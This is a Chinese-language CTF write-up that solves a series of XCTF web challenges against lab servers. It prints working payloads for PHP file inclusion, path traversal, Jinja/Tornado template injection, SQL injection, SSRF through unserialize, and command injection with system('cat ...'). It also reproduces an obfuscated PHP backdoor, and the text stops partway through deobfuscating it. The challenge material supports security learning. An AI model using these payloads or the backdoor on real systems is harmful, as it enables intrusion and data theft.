为了完成网安作业必须多做点题,顺便写wp

Web_php_include

利用php伪协议上传一段php代码后执行,列出目录看到flag文件

image-20201204225248794

再利用本地文件包含读取flag

1
http://220.249.52.133:46457/?page=http://127.0.0.1/index.php/?hello=%3C?show_source(%22fl4gisisish3r3.php%22);?%3E

warmup

查看源码看到source.php,访问看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

源码中有一个hint.php,查看得到

1
flag not here, and flag in ffffllllaaaagggg

访问 ffffllllaaaagggg,发现没有这个文件,所以可能是在根目录。

继续看代码有个白名单

1
source.php,hint.php

mb_substr函数会截取?前面的字符返回给page,检测其是否在白名单中

注意这里有一个urldecode(),所以提交前需要进行两次urlencode

解码后重复上面两步

1
2
3
4
$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));
if (in_array($_page, $whitelist)) {
return true;
}

之后通过include函数获取flag

所以构造的payload中url解码后?前的内容必须是 source.php或者hint.php

payload:

1
2
GET:
?page=hint.php%253F/../../../../../ffffllllaaaagggg

原理是hint.php?/被当作目录

../是返回上一级目录,这里多几个../也没事,必须保证返回到根目录,而在根目录向上返回还是根目录。

所以上面的payload可以在根目录读取到flag。

NaNNaNNaNNaN-Batman

下载附件打开后显示有乱码,但是可以看到<script>标签,于是改后缀伪html ,在浏览器打开,出现一个输入框。

继续看代码,看到函数的最后有个eval函数,中间的参数为eval(_),正好与开头定义的名相同<script>_='function,所以想办法把原函数显示处理

将eval改为alert,保存后在浏览器中打开看到弹框中出现源码。

在线格式化后的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function $() {
var e = document.getElementById("c").value;
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) {
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _

再看这段js代码中的if语句

1
if (e.length == 16) if (e.match(/^be0f23/) != null) if (e.match(/233ac/) != null) if (e.match(/e98aa$/) != null) if (e.match(/c7be9/) != null) 

参数e的长度为16,其中要包含

1
be0f23开头  233ac   e98aa结尾     c7be9

通过if语句后会通过一个算法将flag算出来

ok,那就按if语句的要求写出e

1
be0f233ac7be98aa

还可以直接利用

1
2
3
4
5
6
7
8
9
var t = ["fl", "s_a", "i", "e}"];
var n = ["a", "_h0l", "n"];
var r = ["g{", "e", "_0"];
var i = ["it'", "_", "n"];
var s = [t, n, r, i];
for (var o = 0; o < 13; ++o) {
document.write(s[o % 4][0]);
s[o % 4].splice(0, 1)
}

在浏览器的console中运行

image-20201201230236591

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
$_o=strrev($str);
// echo $_o;

for($_0=0;$_0<strlen($_o);$_0++){

$_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>

了解几个函数的用法

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。

提示:编码和解码都是由相同的函数完成的。如果您把已编码的字符串作为参数,那么将返回原始字符串。

strrev() 函数反转字符串。

image-20201201232139218

解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$str = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
function decode($str){
$s = base64_decode(strrev(str_rot13($str)));
//echo($s);
for($_0=0;$_0<strlen($s);$_0++){
$_c=substr($s,$_0,1);
$__=ord($_c)-1;
$_c=chr($__);
$_=$_.$_c;
}
echo strrev($_);
}
decode($str);
?>

PHP2

这题应该给个提示的,访问index.phps获取源码。

phps,用御剑和dirsearch都扫不出来,所以必须知道才可能做出来。

给新生赛出题的想法来源,当时做这题的时候费了好大劲才找到index.phps,所以也让让萌新们体验一下找不到的绝望🤣

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

获取id后urldecode之后再赋值给id,要注意上传的参数浏览器会字段一次urldecode,所以这里的admin需要两次urlencode

payload:

1
2
3
4
5
admin
%61%64%6D%69%6E
%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45
GET:
?id=%25%36%31%25%36%34%25%36%44%25%36%39%25%36%45

unserialize3

很简单的unserialize

利用漏洞,当属性值大于真是属性值的时候会跳过wakeup函数,php版本小于5.6

1
2
3
4
5
6
7
8
9
10
11
<?php
class xctf{
public $flag = '111';
// public function __wakeup(){
// exit('bad requests');
// }
}

$c = new xctf();
echo(serialize($c));
?>
1
2
3
4
O:4:"xctf":1:{s:4:"flag";s:3:"111";}

GET:
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

upload1

抓包修改MIME为image/jpeg,即可上传成功,之后蚁剑连接拿到flag。

Web_python_template_injection

模板注入,和cumtctf华为杯很像,但是没那个难。

首先判断是否存在模板注入,在url后输入 49,显示页面如下,可以确定存在模板注入,因为我们输入的值被其当作变量带入计算。

20201202085851.png

模板注入原理这篇博客写的很详细:https://xz.aliyun.com/t/3679

几个常用的魔术方法

_class_ 返回类型所属的对象

_mro_ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

_base_ 返回该对象所继承的基类 // basemro都是用来寻找基类的

_subclasses_ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

_init_ 类的初始化方法

_globals_ 对包含函数全局变量的字典的引

直接开始这题

1.查看所有模块,其中第41个模块file和72个模块,包含文件读取的相关操作,可以利用

1
{{[].__class__.__base__.__subclasses__()}}

image-20201202090652367

2.列出文件目录

1
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

image-20201202094836434

3.读取flag

1
''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()

image-20201202094926424

easytornado

这又是web服务器和web应用框架,会不会和flask框架一样存在模板模板注入

0x1 原理

tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且还可以通过两个大括号进行传递变量和执行简单的表达式。

0x2 解题

1.先看看题目给的连接

1
http://220.249.52.133:43538/file?filename=/welcome.txt&filehash=34b3f8fdcf2ec4394a5b9b20580c0096

提交的参数是文件名和文件的hash值

并且给了三web页面

1
2
3
/flag.txt
/welcome.txt
/hints.txt

flag.txt

1
flag in /fllllllllllllag

hints.txt给的提示

1
2
/hints.txt
md5(cookie_secret+md5(filename))

这就知道了filehash的来源了

2.读取flag.txt就必须构造payload:

1
//?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))

但是我们不知道cookie_secret 的值,先提交试试

image-20201202100637168

出现了这个错误页面,并且我们可以控制msg的值,存在模板注入

3.输入msg={{handler.settings}},获取当前的环境变量,得到cookie_sercet的值

image-20201202101520762

1
2
3
4
5
<?php
$filename = md5('/fllllllllllllag');
$s = 'cb82b218-07e3-491d-a302-532dbae27e6a';
echo md5($s.$filename);
?>

于是构造出payload

1
2

?filename=/fllllllllllllag&filehash=0caf8cf587a036fabea3fa65f058c275

拿到flag

参考:

https://www.cnblogs.com/cimuhuashuimu/p/11544455.html

shrine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import flask
import os

app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
return open(__file__).read()

@app.route('/shrine/<path:shrine>')
def shrine(shrine):

def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
app.run(debug=True)

0x1考察点

很明显的flask框架

存在模板注入,但是对()进行了过滤,并将config , self 加入了黑名单,Web_python_template_injection这题的payload就没法用了。

image-20201202103810281

0x2构造payload

可以使用内置函数get_flashed_messages(),又因为config在current_app里面,所以我们可以构造payload

1
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

mfw

看到了git,可能存在git源码泄露

git-1

访问http://220.249.52.133:44852/.git/,确定存在源码泄露,使用githack下载源码,目录结构如图,templates下存在flag.php,它就是我们的目标。

git-2

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home";
}
$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

file_exists函数

git-3fil

输入

1
?page=flag

页面显示为空,因为file_exists只能判断文件是否存在,无法返回文件内容,这就用利用cat读取内容了。因为没有对page做其他的过滤,我们可以利用assert + system,达到命令注入的目的。

注意:assert函数会将传入的参数当作php代码执行

构造payload,这里就像sql注入的语句,闭合前面的语句并填写自己想要的语句

1
2
3
4
5
6
7
8
9
10
先测试一下想法对不对
//?page=') or phpinfo();#
//assert("file_exists('$file') or phpinfo();)#
?page=')%20or%20phpinfo()%3B%23
显示出了phpinfo(),所以思路是对的
继续构造
//?page=') or system("cat templates/flag.php"); #
最后的payload

?page=')%20or%20system(%22cat%20templates%2Fflag.php%22)%3B%23

git-4

git-5

fakebook

0x1 sql注入

进入网页发现是一个博客页面,先随便注册一个账号登录上去看看,发现了一个貌似可以注入的地方

http://220.249.52.133:44224/view.php?no=1参数no这里应该是一个数字型的注入点,测试一下。

http://220.249.52.133:44224/view.php?no=1 and 1=1显示是正常的,但是

http://220.249.52.133:44224/view.php?no=1 and 1=2网页报错,确定了就是数字型注入

接下来继续注入的常规操作。

http://220.249.52.133:44224/view.php?no=-2 order by 4#时页面显示正常,并提示了网站的根目录

但是当 order by 5 # 时,网页报错,确定是四列。

爆表名

本以为会顺利的爆破出来,但是提示了 hacker ,这里可能存在黑名单检测

试了试双写绕过,发现继续提示hack,再试试用/**/替换空格,这次居然可以了,暂且当它是禁了空格。这里还出现一个提示

1
2
3
Notice: unserialize(): Error at offset 0 of 1 bytes in /var/www/html/view.php on line 31

提示存在反序列化,但是不知道怎么用继续爆表。

1
2
3
4
5
?no=-2/**/union/**/select/**/1,(select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),3,4#

?no=-2 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'#

//**no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS**

爆出一大堆列名。直接读取data的内容

1
?no=-2 union/**/select 1,(select data from users),3,4 #

发现内容是注册时信息保存为序列化内容

1
O:8:"UserInfo":3:{s:4:"name";s:5:"sunzy";s:3:"age";i:22;s:4:"blog";s:12:"22.github.io";}

到这里就不知道怎么办了。。。

做到这里我们大致知道了下面的信息:

view.php进行了对某个数据进行反序列化(unserializa)操作,从上面跑出的data分析是对data进行了 反序列化操作,在上一步骤中我们得到了user表有4列分别为no,passwd,data,username,并没有 单独存放blog列,所以blog显示应该是从data列取出再进行反序列化

0x02代码审计

扫描一下目录发现了robots.txt,其中给出来了源码备份文件的路径

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
class UserInfo //user信息类
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url) // 处理url
{
$ch = curl_init(); //初始化一个curl会话

curl_setopt($ch, CURLOPT_URL, $url); //设置url和相应的参数
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch); // 执行这个cURL会话
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); //获取状态码
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog () //这是注册账号时检测blog是否合法
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}

审计源码发现其中get()函数存在SSRF(服务端请求伪造)漏洞。

1
2
get($url) 
get($this->blog)

这里get中的参数取自blog,所以我们可以利用反序列化构造出一个ssrf,将blog位置修改为我们想要访问的位置,结合上面的提示就构造出下面的payload:

1
?no=-2%20union/**/select%201,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"sunzy";s:3:"age";i:22;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%20#

查看源码,解base64。

思路:利用no参数进行注入,在反序列化中构造file文件协议,利用服务端请求伪造漏洞访问服务器上的flag.php文件。

ics-05

进入页面只有一个是有用的,进入设备维护中心

image-20201202170901536

先点击云平台设备维护中心,url会发生改变出现page参数,这一看就是典型的读取源码

构造payload:

1
?page=php://filter/convert.base64-encode/resource=index.php

源码中的php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) { //这里是对几个关键词的过滤,我们读取源码时没有用到这几个关键词所以没有影响
die();
}

if (strpos($page, 'ta:text') > 0) {
die();
}

if (strpos($page, 'text') > 0) {
die();
}

if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试

if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { //xxf头

echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat]; //get 提交三个参数
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>

前面代码没有突破点,直到看到preg_replace

preg_replace

漏洞

$pattern 存在 /e 模式修正符,允许代码执行

/e 模式修正符,是 *preg_replace() * 导致 $replacement 部分当做php代码来执行。

所以可以构造如下

payload

1
2
3
4
?pat=/test/e&rep=system('ls')&sub=test
?pat=/test/e&rep=system('ls s3chahahaDir/')&sub=test
?pat=/test/e&rep=system('ls s3chahahaDir/flag')&sub=test
?pat=/test/e&rep=system('cat s3chahahaDir/flag/flag.php')&sub=test

参考:https://kevens10.github.io/articles/preg_replace()%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html

lottery

0x1注册玩一下

​ 进入页面发下是一个买彩票的,先注册一个账号,初始有20块钱,要买flag,需要99999999,显然不可能

还有一个买彩票的地方,每次花2块钱两个号码对了奖励五块,这些都不重要。

image-20201202220622597

开始是想着通过脚本多买几次,后来发现不对啊,每次都是买完了之后中将号码才公布出来,脚本就没意义了,所以这个想法断了。

于是去看看了别的

0x2 git源码泄露

​ 下载了好几个文件,看看了其中有用的只有api.php,代码太长了,复制了重要的部分

审计代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
//随机生成中将号码
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num(); //利用自定义的随机函数生成随机数
}
return $result;
}
//检测是否中奖以及 奖励和扣费规则
function buy($req){
require_registered(); //检测是否注册
require_min_money(2); //是否有2块钱买彩票

$money = $_SESSION['money']; //用户的钱
$numbers = $req['numbers']; //用户买的彩票号码
$win_numbers = random_win_nums(); //中奖号码
$same_count = 0; //记录有几位中奖
for($i=0; $i<7; $i++){ // 判断有几位中奖
if($numbers[$i] == $win_numbers[$i]){ //重点来了
$same_count++;
}
}
switch ($same_count) {
//pass
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}

上面的代码看着像是没什么问题,但是对==敏感的一眼就会发现这里存在问题

1
2
3
4
5
for($i=0; $i<7; $i++){		   // 判断有几位中奖
if($numbers[$i] == $win_numbers[$i]){ //重点来了
$same_count++;
}
}

这里判断是否相等居然用 ==,就很离谱,也是突破点,测试效果如下

caipiao-1

所以思路就是,抓包修改我们输入的号码都为True,就行了,一次中奖不够就多买几次

注意这里上传数据时使用的是json格式json数组类型

image-20201202221043572

之后返回浏览器买flag即可

favorite_number

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//php5.5.9
$stuff = $_POST["stuff"];
$array = ['admin', 'user'];
if($stuff === $array && $stuff[0] != 'admin') {
$num= $_POST["num"];
if (preg_match("/^\d+$/im",$num)){
if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
echo "my favorite num is:";
system("echo ".$num);
}else{
echo 'Bonjour!';
}
}
} else {
highlight_file(__FILE__);
}

0x1代码审计

代码意思

输入一个数组stuff,stuff要和array相同,但是$stuff[0] != ‘admin’

这是一个矛盾的判断,所以要想办法绕过

下面是提交一个数字,通过判断后打印出这个数字并执行system函数

这里一定存在命令执行

题目直接给了源码,并且表明了php版本为5.5.9,那就说明这个题目一定和这个版本的漏洞有关,google一下

https://segmentfault.com/q/1010000003871264,这是与这题很像的一题

php5.5.9的数组的key溢出漏洞

结合上面的题目构造出payload:

1
stuff[4294967296]=admin&stuff[1]=user&num=123

页面成功打印出了my favorite num is:123,说明前面已经绕过成功了

0x2 绕过数字,命令注入

因为正则表达式最后的m允许多行匹配,所以这里可以使用%0a绕过数字检测

开始构造出的

1
stuff[4294967296]=admin&stuff[1]=user&num=123%0als /

成功列出了目录,看到了flag,但是读取的时候发现flag关键被过滤了

所以不得不换一种方法

1
2
3
4
5
6
7
8
ls -i
# 列出当前⽂件列表,取出inode

# find找到对应inode的⽂件
find / -inum

# more读取对应的文件
more `find / -inum `

find

所以最后的payload:

1
stuff[4294967296]=admin&stuff[1]=user&num=111%0amore `find / -inum 38667190`

more

参考:

https://www.coodesker.com/

https://blog.csdn.net/weixin_44604541/article/details/109365511

bug

0x1获得admin权限

先注册登录看看,页面功能很简单,当点击manage时,提示需要admin账号才可以,所以接下来就要想办法拿到admin账号

在注册的时候有一个找回密码的功能,当我们点进去的时候可以看到,修改密码只需要生日和地址

image-20201204130616230

这就想到了刚才登录页面显示的个人信息,那么怎么才能拿到admin的个人信息就是一个问题

不妨先抓包看一下,可以看到cookie中有一个user,这个值像是md5,在线解密一下

image-20201204125903267

1
2
82ed7a14920dd2db1b6657348656eaa5
7:123

也就是uid+username的md5值,那我们是不是可以伪造一个这样的cookie然后到个人信息的页面提交获取信息

1
md5(1:amdin)=4b9987ccafacb8d8fc08d22bbca797ba

bug-1

这样就获取了信息,再去修改密码登录

0x2上传绕过

登录后点击manage提示非法IP,直接抓包添加xxf,得到提示

1
<!-- index.php?module=filemanage&do=???-->

访问一下上面的地址一开始以为do是submit,但是提交没反应,又改成了upload,这样就对了,出来一个上传图片的网页

上传php文件,出现前端检测提示

那就直接抓包,把php改成php5修改了MIME为image/jpeg,但是还是提示可以看出来是一个php文件,可能检测了文件开头信息,那就改成下面格式的一句话木马

获得了flag

image-20201204132940298

i-got-id-200

题目给了三个页面,其中有一个文件上传的页面,随便上传一个文件可以发现会将文件的内容显示出来,猜测这里使用了param()函数

param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的

给了提示Perl File Upload第一次见这个东西,在网上学习了一下

大佬猜测出的后天源码

1
2
3
4
5
6
7
8
use strict;
use warning;
use CGI;
my $cgi=CGI->new;
if($cgi->upload('file')){
my $file=$cgi->param('$file');
while(<$file>) {print("$_");}
}

1.抓包修改url和上传内容,修改成如图所示

image-20201209092628853

image-20201209091529965

  1. 先读取file.pl文件,盲猜在/var/www/cgi-bin/file.pl,将3部分payload修改 为:/cgi­bin/file.pl?/var/www/cgi-bin/file.pl

  2. 利用bash来进行读取当前目录下的文件,将3部分payload修改为:/cgibin/file.pl?/bin/bash%20­c%20ls${IFS}/|

    image-20201209093015408

  3. 读取当前目录的flag文件内容,将3部分payload修改为:/cgi­bin/file.pl?/flag

image-20201209092658534

参考

Web_php_wrong_nginx_config

0x1信息收集

进入页面发现要登录,但是没有账号,扫描目录也没发现注册账号的页面,但是发现了robots.txt,其中给了hint.php和hack.php

hint.php

1
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

还有这几个

image-20201209100341300

抓包发现cookie,将其改为1后发现就可以登录了,这里是使用浏览器的cookie编辑插件

image-20201209095233466

登录后的url

1
http://220.249.52.133:35234/admin/admin.php?file=index&ext=php

0x2读取配置文件

尝试读取index.php和admin.php源码都失败了,再试试robots.txt中的页面

直接输入路径会跳转到主页不显示内容,可能存在过滤导致文件路径无效

1
?file=../../../../etc/nginx/sites-enabled/site.conf&ext=

用双写绕过

1
?file=....//....//....//....//etc/nginx/sites-enabled/site.conf&ext=

拿到了配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
server {
listen 8080; ## listen for ipv4; this line is default and implied
listen [::]:8080; ## listen for ipv6

root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;

# Make site accessible from http://localhost/
#server_name localhost;

# If block for setting the time for the logfile
if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
sendfile off;

set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}

# Add stdout logging

access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;

location / {
# First attempt to serve request as file, then
# as directory, then fall back to index.html
try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}

#error_page 404 /404.html;

# redirect server error pages to the static page /50x.html
#
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}

location ~ /\. {
log_not_found off;
deny all;
}
location /web-img { //这里存在问题

alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;

这个文件内容也看不懂,但是知道这里存在问题

1
2
3
4
location /web-img { 
alias /images/;
autoindex on;
}

alias,就是给 /web-img,设置了一个别名,当访问/web-img就相当于访问了 /images/

1
2
3
location ^~ /t/ {
alias /www/root/html/new_t/;
}

如果一个请求的URI是/t/a.html时,web服务器将会返回服务器上的/www/root/html/new_t/a.html的文件。注意这里是new_t,因为alias会把location后面配置的路径丢弃掉,把当前匹配到的目录指向到指定的目录。

autoindex

Nginx默认是不允许列出整个目录的。如需此功能,打开nginx.conf文件或你要启用目录浏览虚拟主机的配置文件,在server或location 段里添加上autoindex on

这里将其打开就会导致我们可以访问根目录的所有文件夹

url

1
2
http://220.249.52.133:35234/web-img../
// web-img../ == /image/../ 相当于回退到了根目录

0x3发现漏洞

在/var/www/中发现了一个hack..php.bak,正好是robots.txt中提示的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='r=@$r[|U"HTTP_R|UEFERER|U"];$r|U|Ua=@$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|U@session_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|U@eva|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

又是一段奇奇怪怪的代码

但是能看懂最后三行是生成了一个$g函数,而且是由$f生成的,那么久将$f打印出来看看,在线格式化后如下

是一个后门程序,但是如何利用是个问题,实在太菜了,都看不懂写的是什么,只好找到wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
